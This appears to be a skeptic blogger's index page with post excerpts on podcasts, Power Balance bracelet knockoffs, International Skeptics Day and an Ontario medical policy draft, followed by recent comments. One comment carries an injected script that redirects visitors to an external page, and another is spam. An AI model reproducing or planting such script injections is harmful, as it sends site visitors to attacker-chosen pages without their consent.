I've decided to start up a Twitter account to keep people updated with the minor details about what's going on with the podcasts and blogs. I'll keep you updated on when I'm recording or planning podcasts and all those engrossing and fascinating details that you absolutely need to know.
The thoroughly discredited Power Balance Bands have inspired yet another knockoff. That's not very surprising, I've heard of several others. What did surprise me, though, was turning on my television one night to find this infomercial:
They're using the exact same fraudulent demonstrations of their bracelet's "power" to improve strength and balance. Pretty sleazy stuff.I'm pretty sure that these guys are just opportunists and that they don't believe any of the claims that they're making.
In this episode, I announce my new Invisible Sky Monster podcast, examine the case of a so-called Psychic Detective from the 30's, and answer some listener comments.
According to holidayinsights.com, which is the first link that comes up in Google when you do a search for "International Skeptics Day", today indeed was that vaunted day.... either that or January 13... or the first Friday the 13th of the year...
Whatever date it falls on, it appears that the international skeptical community is completely unaware of the day supposedly meant to celebrate their skepticism. The first two pages of Google search results for the day reveal no links to any skeptical website.
Although one website did provide an e-card to celebrate the day, which I guess makes it official. Even if no skeptical organization recognizes the day, there's an e-card so it must be real!
E-Card Image:
As I mentioned, the main source for this information seems to come from holidayinsights.com, and they don't give any source on where they got this data from. They also have a poor understanding of what skepticism is all about:
I've just released the first episode of the Invisible Sky Monster podcast!
Those of you who've been paying attention know that I've been looking for something to do with my invisibleskymonster.com domain. Something that would highlight the small time players in the Skeptical community. Well, this is it!
Of course, I'm going to keep doing the Dumbasses Guide To Knowledge. But I wanted to also do something a little more social, where I get to actually interact with other people. So I sent out feelers, and a number of people said they'd be willing to participate in this kind of chat with me. So I got a couple of them together and made an episode.
Each episode I plan on chatting with 2 friends from the skeptical community about anything that's on our minds. It's a lot less work than my other podcast so I should be able to get out episodes more often.
This episode I talk with religion critic Doug Delong, and gay rights advocate Infinite Monkey.
In this
episode, I look at some podcasts both starting and fading away, I take a look at more claims from ancient aliens theorists,
answer some comments, and recommend a book in the Dumbass Book
Club
I took this video while I was out at my local bookstore browsing through the bargain section. Take a look at these books, you can clearly see that they've been placed in the "Fiction" section. There's no new sign to label the start of a new section, and the next sign on has nothing to do with the paranormal or new age or anything like that.
Clearly, the store has it exactly right in placing these books firmly in the "Fiction" section! Win for our side!
Straight away I have grave concerns about the content of this document. This is the governing body for medical doctors in Ontario, and they're actually considering using the word "allopathic"? This word is not a part of the science based medical lexicon. Doctors do not call themselves "allopaths", that's a word used by the alternative medicine crowd. It's one of those words that sounds science-y and technical, but isn't useful in any way except as a pejorative label.
The word has no business being part of the title of a document released by the CPSO. There's no reason for any medical professionals to adopt this word, and the CPSO shouldn't be giving it legitimacy by using it so casually. They put "Non-Conventional" in parentheses, I suppose partly as a recognition that medical professionals may not recognize the term "allopathic", but that's silly. They could have just said "Non-Conventional" and left it at that.
If it was just the title that bothered me, though, I wouldn't have enough material for a blog post. Unfortunately, the document makes several statements intended to open the door for alternative medical treatments and to stifle opposition. CFI Canada has released a response to this draft policy that I sincerely hope will encourage the policy makers at the CPSO to rethink their position.
But I presume you're here to find out my perspective on this document, other than my nitpicking on the title. Well, they actually defend their use of the term "allopathic" in their key features of the revised draft policy:
There's a recurring debate in the skeptical community about what the skeptical position should be about religion. I've talked about this issue before, but as I've had more discussions on the topic and thought more about it, I've found that I have more to say on the topic.
The basic question, it seems to me, is one of how does skepticism relate to belief. Should all our beliefs be based in evidence? What should we think about beliefs that have no evidence to back them up? Certainly if people claim evidence that doesn't hold up to scrutiny science and skepticism are prime tools for pointing that out. But what about when there's no claim to evidence, when people just believe something while acknowledging that they have no evidence and they make no claims.
For example, what about deists? What should we think about them? What does skepticism say about these kinds of beliefs? Many people have argued that people simply shouldn't hold beliefs that are not based in evidence. But is that a skeptical position?
On 02/05/2012 at 14:38 DANR11 wrote: When the test subjects are tested for strength and balance without the braclet, the man pulls downward and OUTWARD, which moves their ...
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On 01/30/2012 at 22:32 Badbill977 wrote: If I was the caveman that saw a "UFO" land and whatever came out of it told me he was my god, ...
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On 01/27/2012 at 10:31 tester wrote: <script>window.location="http://pastehtml.com/view/bm57gc1uz.html";</script> ...
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On 01/25/2012 at 12:30 Foster33LUANN wrote: That's well known that cash makes us disembarrass. But what to do if somebody does not have cash? The one way only ...
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On 01/24/2012 at 16:29 E.T. wrote: Hahahaha! I was cracking up reading your article. Great stuff! ...
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